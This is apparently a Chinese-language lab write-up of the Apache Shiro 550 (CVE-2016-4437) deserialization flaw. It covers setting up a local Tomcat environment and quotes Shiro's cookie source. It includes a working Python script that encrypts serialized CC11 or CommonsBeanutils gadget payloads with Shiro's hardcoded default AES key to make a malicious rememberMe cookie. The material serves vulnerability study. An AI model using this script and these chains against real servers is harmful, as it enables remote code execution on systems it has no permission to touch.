漏洞简介 影响版本 :Shiro <= 1.2.4
漏洞根本原因 :固定key加密
Shiro特征 :返回包中包含rememberMe=deleteMe字段。
Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Shiro介绍
环境搭建
JDK8u202
tomcat 8.5.100
Shiro 1.2.4
下载tomcat tomcat8 (下载好后解压)
启动tomcat后发现日志是乱码
找到这个位置把UTF-8改为GBK
Windows
下的CMD
的默认字符集是GBK
,所以UTF8
编码输出的日志,中文看到的肯定是乱码了。
下载shiro环境 p牛的环境:shirodemo
编辑项目设置
添加tomcat
默认账号:root
默认密码:secret
Shiro Cookie处理流程分析 加密流程分析 Shiro反序列化漏洞(一)-shiro550流程分析
总结 比较重要的几个类的继承关系
1 2 3 4 5 6 7 8 9 10 11 12 13 +-----------------------------------+ | RememberMeManager <<interface>> | +-----------------------------------+ ^ | +-----------------------------------+ | AbstractRememberMeManager | +-----------------------------------+ ^ | +-----------------------------------+ | CookieRememberMeManager | +-----------------------------------+
RememberMeManager
RememberMeManager
接口提供了以下方法:
getRememberedPrincipals()
:RememberMe 的功能。
forgetIdentity()
:忘记用户身份标识。
onSuccessfulLogin()
:登录校验成功时调用,保存当前用户的principals
以供应用程序以后调用。
onFailedLogin()
:登录校验失败时调用,忘记当前用户的principals
。
onLogout()
:用户退出登录时调用,忘记当前用户的principals
。
AbstractRememberMeManager
AbstractRememberMeManager
是实现RememberMeManger
接口类的抽象类,这里有几个比较重要的成员变量需要了解:
DEFAULT_CIPHER_KEY_BYTES
:一个硬编码 AES KEY,该 KEY 会被设置为加解密 KEY 的成员变量。
serializer
:Shiro 的序列化器,用来对序列化和反序列化标识用户身份的PrincipalCollection
对象。
cipherService
:用于数据加解密的类,实际上是org.apache.shiro.crypto.AesCipherService
类。
CookieRememberMeManager
getRememberedSerializedIdentity()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
Shiro 550漏洞利用 CC11链攻击 注:原生 shiro 中是没有 common-collections的,这里为了演示,所以添加了 common-collections 依赖
加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from email.mime import basefrom pydoc import plainimport sysimport base64from turtle import modeimport uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return datadef aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertextdef aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintextif __name__ == "__main__" : data = get_file_data("ser.bin" ) print (aes_enc(data))
这个脚本的意思就是先aes加密,再base64编码,符合shiro逻辑
对CC11的序列化数据编码
当Cookie中有JSESSIONID时,不会通过rememberMe的数据进行身份认证,就执行不了我们构造好的EXP
CB链攻击 因为原生的Shiro并不带CC依赖,但是包含了commons-beanutils,所以参考Java反序列化CommonsBeanutils链
用之前的CB链打,报错信息为org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
这是因为CB版本不一致导致的
Shiro环境中commons-beanutils版本为1.8.3
最简单的接解决办法就是把之前本地环境中commons-beanutils的版本变为Shiro的commons-beanutils版本
参考连接 Shiro学习之路(一):Shiro是什么?有什么用
Shiro反序列化漏洞(一)-shiro550流程分析
Shiro反序列化漏洞(二)-shiro下的CC链利用
Shiro反序列化漏洞(三)-shiro无依赖利用链
CVE-2016-4437漏洞分析